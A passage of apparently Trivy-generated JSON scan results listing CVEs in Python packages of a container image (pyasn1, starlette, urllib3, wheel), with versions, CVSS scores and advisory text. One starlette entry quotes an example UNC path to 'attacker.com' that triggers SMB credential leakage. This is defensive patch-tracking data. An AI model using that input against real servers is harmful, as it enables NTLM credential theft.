"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1", "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc", "https://nvd.nist.gov/vuln/detail/CVE-2026-49272", "https://www.cve.org/CVERecord?id=CVE-2026-49272" ], "PublishedDate": "2026-11-05T21:18:50.447Z", "LastModifiedDate": "2026-11-05T22:18:44.593Z" }, { "VulnerabilityID": "CVE-2026-119194", "VendorIDs": [ "GHSA-fm9c-5rcf-2q5p" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.4.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.4", "UID": "2bf0b3fb8ad29704" }, "InstalledVersion": "0.6.4", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119194", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f8c1bd7f371ccb7ae046dc2789c899c0cb92154096a3d053a926a5bf5c4733e4", "Title": "pyasn1: pyasn1: Denial of Service via hash collisions in schemaless decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119194", "https://advisory.echohq.com/cve/CVE-2026-119194", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p", "https://nvd.nist.gov/vuln/detail/CVE-2026-119194", "https://www.cve.org/CVERecord?id=CVE-2026-119194" ], "PublishedDate": "2026-10-29T20:17:30.48Z", "LastModifiedDate": "2026-11-03T17:18:03.863Z" }, { "VulnerabilityID": "CVE-2026-119195", "VendorIDs": [ "GHSA-9m75-vc3g-4x39" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.4.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.4", "UID": "2bf0b3fb8ad29704" }, "InstalledVersion": "0.6.4", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119195", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a40361062afb9e2117cb94657712c9d711dfe6863f9d23ac052d4479b1c5adcf", "Title": "pyasn1: pyasn1: Denial of Service via quadratic processing of fragmented ASN.1 data", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, constructed string and indefinite-length ANY decoding repeatedly concatenates each fragment onto a growing bytes value. Attacker-controlled BER or CER data can use many constructed OCTET STRING or character-string fragments. DER rejects constructed OCTET STRING without a schema, but accepts its definite-length form when asn1Spec selects univ.OctetString; it also accepts constructed character strings such as UTF8String without a schema, even though those encodings are not valid DER. The separate indefinite-length ANY path is reachable in BER and CER when asn1Spec selects univ.Any; DER rejects indefinite lengths. OctetStringPayloadDecoder uses growing header concatenation and AnyPayloadDecoder.indefLenValueDecoder uses growing chunk concatenation, repeatedly copying an increasing prefix and causing quadratic work. A sufficiently fragmented value can occupy decoding workers and cause CPU exhaustion without confidentiality or integrity impact. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119195", "https://advisory.echohq.com/cve/CVE-2026-119195", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39", "https://nvd.nist.gov/vuln/detail/CVE-2026-119195", "https://www.cve.org/CVERecord?id=CVE-2026-119195" ], "PublishedDate": "2026-10-29T20:17:30.633Z", "LastModifiedDate": "2026-10-30T17:18:03.88Z" }, { "VulnerabilityID": "CVE-2026-119196", "VendorIDs": [ "GHSA-2qm8-x737-gmw5" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.4.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.4", "UID": "2bf0b3fb8ad29704" }, "InstalledVersion": "0.6.4", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119196", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1dd19c9558ce70bddd6fc8acd2382f2075d230c32bce7ec2647578999a589cf7", "Title": "pyasn1: pyasn1: Denial of Service via constructed bit string decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, constructed BIT STRING decoding repeatedly shifts and copies the complete bit value accumulated from earlier fragments. Attacker-controlled BER or CER input contains many constructed BIT STRING fragments; schema-driven DER also accepts a definite-length constructed BIT STRING. BitStringPayloadDecoder repeatedly calls BitString.fromOctetString with the prior bitString as prepend, shifting an ever-growing SizedInteger for each fragment and causing quadratic work. Large fragmented values can exhaust CPU during decode() without requiring later conversion or formatting. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119196", "https://advisory.echohq.com/cve/CVE-2026-119196", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5", "https://nvd.nist.gov/vuln/detail/CVE-2026-119196", "https://www.cve.org/CVERecord?id=CVE-2026-119196" ], "PublishedDate": "2026-10-29T20:17:30.77Z", "LastModifiedDate": "2026-11-04T02:17:18.177Z" }, { "VulnerabilityID": "CVE-2026-119197", "VendorIDs": [ "GHSA-mm57-4v3p-rchx" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.4.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.4", "UID": "2bf0b3fb8ad29704" }, "InstalledVersion": "0.6.4", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119197", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:04bcba9c91440c851e78ab03711872fd5374cd417f82ef9bb0e217be86e5dc5c", "Title": "pyasn1: pyasn1: Denial of Service via quadratic complexity in binary REAL decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, binary REAL decoding builds a large mantissa one octet at a time by shifting a growing integer and slicing the remaining byte string. Attacker-controlled ASN.1 includes a binary-encoded REAL with a large mantissa and reaches BER, CER, or DER decode(), with or without a schema containing REAL. RealPayloadDecoder.valueDecoder repeatedly performs a left shift, OR, and suffix copy for every mantissa octet, making decode time quadratic in mantissa length. A comparatively small REAL value can hold a decoding worker on one CPU core for seconds or longer and cause availability loss. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119197", "https://advisory.echohq.com/cve/CVE-2026-119197", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx", "https://nvd.nist.gov/vuln/detail/CVE-2026-119197", "https://www.cve.org/CVERecord?id=CVE-2026-119197" ], "PublishedDate": "2026-10-29T20:17:30.907Z", "LastModifiedDate": "2026-10-30T17:18:03.88Z" }, { "VulnerabilityID": "CVE-2024-47874", "VendorIDs": [ "GHSA-f96h-pmfr-66vw" ], "PkgName": "starlette", "PkgPath": "usr/local/lib/python3.11/site-packages/starlette-0.27.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/starlette@0.27.0", "UID": "123457caf4be67a4" }, "InstalledVersion": "0.27.0", "FixedVersion": "0.40.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-47874", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:c09f0a8a321d7388799559be25ec7cea157d280cb8a5956f2d8ca7205ff14a6a", "Title": "starlette: Starlette Denial of service (DoS) via multipart/form-data", "Description": "Starlette is an Asynchronous Server Gateway Interface (ASGI) framework/toolkit. Prior to version 0.40.0, Starlette treats `multipart/form-data` parts without a `filename` as text form fields and buffers those in byte strings with no size limit. This allows an attacker to upload arbitrary large form fields and cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt, or the OS terminates the server process with an OOM error. Uploading multiple such requests in parallel may be enough to render a service practically unusable, even if reasonable request size limits are enforced by a reverse proxy in front of Starlette. This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) accepting form requests. Verison 0.40.0 fixes this issue.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-47874", "https://github.com/encode/starlette", "https://github.com/encode/starlette/commit/fd038f3070c302bff17ef7d173dbb0b007617733", "https://github.com/encode/starlette/security/advisories/GHSA-f96h-pmfr-66vw", "https://nvd.nist.gov/vuln/detail/CVE-2024-47874", "https://www.cve.org/CVERecord?id=CVE-2024-47874" ], "PublishedDate": "2024-10-15T16:15:05.26Z", "LastModifiedDate": "2026-06-17T07:57:53.817Z" }, { "VulnerabilityID": "CVE-2026-48818", "VendorIDs": [ "GHSA-wqp7-x3pw-xc5r" ], "PkgName": "starlette", "PkgPath": "usr/local/lib/python3.11/site-packages/starlette-0.27.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/starlette@0.27.0", "UID": "123457caf4be67a4" }, "InstalledVersion": "0.27.0", "FixedVersion": "1.1.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48818", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b0f5a71afa072c107bbf106a7b1ecae620c43dc69d5407848c2089efc47c0a83", "Title": "starlette: Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows", "Description": "Starlette is a lightweight ASGI framework/toolkit. In versions 1.0.1 and earlier, StaticFiles on Windows is vulnerable to SSRF. An UNC path such as \\\\attacker.com\\share can cause os.path.realpath to initiate an outbound SMB connection before the path is rejected, exposing the service account’s NTLMv2 credentials for offline cracking or relay even though the HTTP response is only a 404. The issue affects default follow_symlink=False deployments, including frameworks built on Starlette such as FastAPI; POSIX systems and follow_symlink=True are unaffected. The issue is fixed in 1.1.0.", "Severity": "HIGH", "CweIDs": [ "CWE-918" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30087", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/security/cve/CVE-2026-48818", "https://advisory.echohq.com/cve/CVE-2026-48818", "https://bugzilla.redhat.com/show_bug.cgi?id=2490020", "https://github.com/Kludex/starlette", "https://github.com/Kludex/starlette/commit/fd53168a7767b6b55ba5af787fd88f49e33cabc5", "https://github.com/Kludex/starlette/pull/3287", "https://github.com/Kludex/starlette/releases/tag/1.1.0", "https://github.com/Kludex/starlette/security/advisories/GHSA-wqp7-x3pw-xc5r", "https://github.com/pypa/advisory-database/tree/main/vulns/starlette/PYSEC-2026-2281.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-48818", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48818.json", "https://www.cve.org/CVERecord?id=CVE-2026-48818" ], "PublishedDate": "2026-06-17T19:18:09.807Z", "LastModifiedDate": "2026-10-26T11:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-54283", "VendorIDs": [ "GHSA-82w8-qh3p-5jfq" ], "PkgName": "starlette", "PkgPath": "usr/local/lib/python3.11/site-packages/starlette-0.27.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/starlette@0.27.0", "UID": "123457caf4be67a4" }, "InstalledVersion": "0.27.0", "FixedVersion": "1.3.1", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54283", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:ab0306c0982813ddf4f0d42190af3f878b5706a9170237302c9f95a3c9eb9aa3", "Title": "starlette: Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS", "Description": "Starlette is a lightweight ASGI framework/toolkit. From 0.4.1 until 1.3.1, request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. This vulnerability is fixed in 1.3.1.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-54283", "https://advisory.echohq.com/cve/CVE-2026-54283", "https://github.com/Kludex/starlette", "https://github.com/Kludex/starlette/security/advisories/GHSA-82w8-qh3p-5jfq", "https://nvd.nist.gov/vuln/detail/CVE-2026-54283", "https://www.cve.org/CVERecord?id=CVE-2026-54283" ], "PublishedDate": "2026-06-22T18:16:46.943Z", "LastModifiedDate": "2026-10-25T23:10:00.167Z" }, { "VulnerabilityID": "CVE-2026-97687", "VendorIDs": [ "GHSA-8988-9cw3-xx77" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.7.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.7.0", "UID": "75609a1e2f80ee9c" }, "InstalledVersion": "2.7.0", "FixedVersion": "2.8.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97687", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:98b0dd1456480d1160d6427e268f1eec6b7deb8aa0c598c93d7e1d7bdafa7412", "Title": "urllib3: urllib3: Traffic interception via HTTPS proxy TLS configuration override", "Description": "urllib3 is an HTTP client library for Python. From 1.26.0 until 2.8.0, the proxy_ssl_context, proxy_assert_hostname, proxy_assert_fingerprint, ssl_context, cert_reqs, verify_mode, use_forwarding_for_https=True, and CERT_NONE configuration paths fail to remain separated because target-server TLS settings are incorrectly applied to the HTTPS proxy connection. The trigger is that an application uses an HTTPS proxy and configures target-server TLS settings that must remain separate from the proxy TLS handshake, including HTTPS forwarding with target-specific identity or credentials. Applying cert_reqs=CERT_NONE can overwrite proxy_ssl_context.verify_mode in place, and the mutation persists so later connections reusing the same context may connect to the HTTPS proxy without certificate verification. The attack mechanism is that an attacker intercepts and impersonates the HTTPS proxy after the effective proxy policy accepts the attacker's certificate. The impact is that the attacker can observe or modify forwarded traffic or receive a target TLS client certificate, while CONNECT tunneling still preserves the separate end-to-end target TLS connection. This issue is fixed in version 2.8.0.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-440" ], "VendorSeverity": { "alma": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 7.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90494", "https://access.redhat.com/security/cve/CVE-2026-97687", "https://advisory.echohq.com/cve/CVE-2026-97687", "https://bugzilla.redhat.com/2543245", "https://bugzilla.redhat.com/2543255", "https://bugzilla.redhat.com/show_bug.cgi?id=2543245", "https://bugzilla.redhat.com/show_bug.cgi?id=2543255", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97687", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97689", "https://errata.almalinux.org/9/ALSA-2026-90494.html", "https://errata.rockylinux.org/RLSA-2026:90494", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465", "https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3", "https://github.com/urllib3/urllib3/pull/5093", "https://github.com/urllib3/urllib3/releases/tag/2.8.0", "https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77", "https://linux.oracle.com/cve/CVE-2026-97687.html", "https://linux.oracle.com/errata/ELSA-2026-92474.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97687", "https://ubuntu.com/security/notices/USN-8926-1", "https://www.cve.org/CVERecord?id=CVE-2026-97687" ], "PublishedDate": "2026-09-29T16:17:18.517Z", "LastModifiedDate": "2026-10-13T20:27:23.13Z" }, { "VulnerabilityID": "CVE-2026-97689", "VendorIDs": [ "GHSA-vxq7-64xx-v4gw" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.7.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.7.0", "UID": "75609a1e2f80ee9c" }, "InstalledVersion": "2.7.0", "FixedVersion": "2.8.0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97689", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:dfeddff4f364325fa7c9b9322cf1369d8404346ceceefdd275cdfae3a858656f", "Title": "urllib3: urllib3: Denial of Service via unbounded memory allocation in chunk parser", "Description": "urllib3 is an HTTP client library for Python. From 1.10.3 until 2.8.0, the HTTPResponse.read_chunked and HTTPResponse.stream methods can allocate unbounded memory because the streaming chunk parser buffers the chunk-size field until newline or EOF without a length bound. The trigger is that a malicious server returns Transfer-Encoding: chunked followed by a very long run of bytes without a newline. The attack mechanism is that a malicious HTTP server sends a very long unterminated chunk-size line. The impact is that unbounded memory allocation can exhaust the client process. This issue is fixed in version 2.8.0.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", "V40Score": 8.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90494", "https://access.redhat.com/security/cve/CVE-2026-97689", "https://advisory.echohq.com/cve/CVE-2026-97689", "https://bugzilla.redhat.com/2543245", "https://bugzilla.redhat.com/2543255", "https://bugzilla.redhat.com/show_bug.cgi?id=2543245", "https://bugzilla.redhat.com/show_bug.cgi?id=2543255", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97687", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97689", "https://errata.almalinux.org/9/ALSA-2026-90494.html", "https://errata.rockylinux.org/RLSA-2026:90494", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed", "https://github.com/urllib3/urllib3/releases/tag/2.8.0", "https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw", "https://linux.oracle.com/cve/CVE-2026-97689.html", "https://linux.oracle.com/errata/ELSA-2026-92474.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97689", "https://ubuntu.com/security/notices/USN-8926-1", "https://www.cve.org/CVERecord?id=CVE-2026-97689" ], "PublishedDate": "2026-09-29T16:17:18.837Z", "LastModifiedDate": "2026-10-13T20:20:06.95Z" }, { "VulnerabilityID": "CVE-2026-24049", "VendorIDs": [ "GHSA-8rrh-rw8j-w5fx" ], "PkgName": "wheel", "PkgPath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/wheel-0.45.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/wheel@0.45.1", "UID": "68d1f5691b386b62" }, "InstalledVersion": "0.45.1", "FixedVersion": "0.46.2", "Status": "fixed", "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-24049", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:fbfa918c67e5fe83115e18225a8232b2fa9d055794786cd718460920a24df4fa", "Title": "wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking", "Description": "wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.", "Severity": "HIGH", "CweIDs": [ "CWE-22", "CWE-732" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "cbl-mariner": 2, "ghsa": 3, "nvd": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "V3Score": 5.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:14020", "https://access.redhat.com/errata/RHSA-2026:1504", "https://access.redhat.com/errata/RHSA-2026:17599", "https://access.redhat.com/errata/RHSA-2026:1902", "https://access.redhat.com/errata/RHSA-2026:1939", "https://access.redhat.com/errata/RHSA-2026:1942", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:20089", "https://access.redhat.com/errata/RHSA-2026:2090", "https://access.redhat.com/errata/RHSA-2026:2106", "https://access.redhat.com/errata/RHSA-2026:2139", "https://access.redhat.com/errata/RHSA-2026:2675", "https://access.redhat.com/errata/RHSA-2026:2681", "https://access.redhat.com/errata/RHSA-2026:2694", "https://access.redhat.com/errata/RHSA-2026:2695", "https://access.redhat.com/errata/RHSA-2026:2710", "https://access.redhat.com/errata/RHSA-2026:2754", "https://access.redhat.com/errata/RHSA-2026:2762", "https://access.redhat.com/errata/RHSA-2026:2823", "https://access.redhat.com/errata/RHSA-2026:2865", "https://access.redhat.com/errata/RHSA-2026:2866", "https://access.redhat.com/errata/RHSA-2026:2900", "https://access.redhat.com/errata/RHSA-2026:2925", "https://access.redhat.com/errata/RHSA-2026:3461", "https://access.redhat.com/errata/RHSA-2026:3462", "https://access.redhat.com/errata/RHSA-2026:3713", "https://access.redhat.com/errata/RHSA-2026:3782", 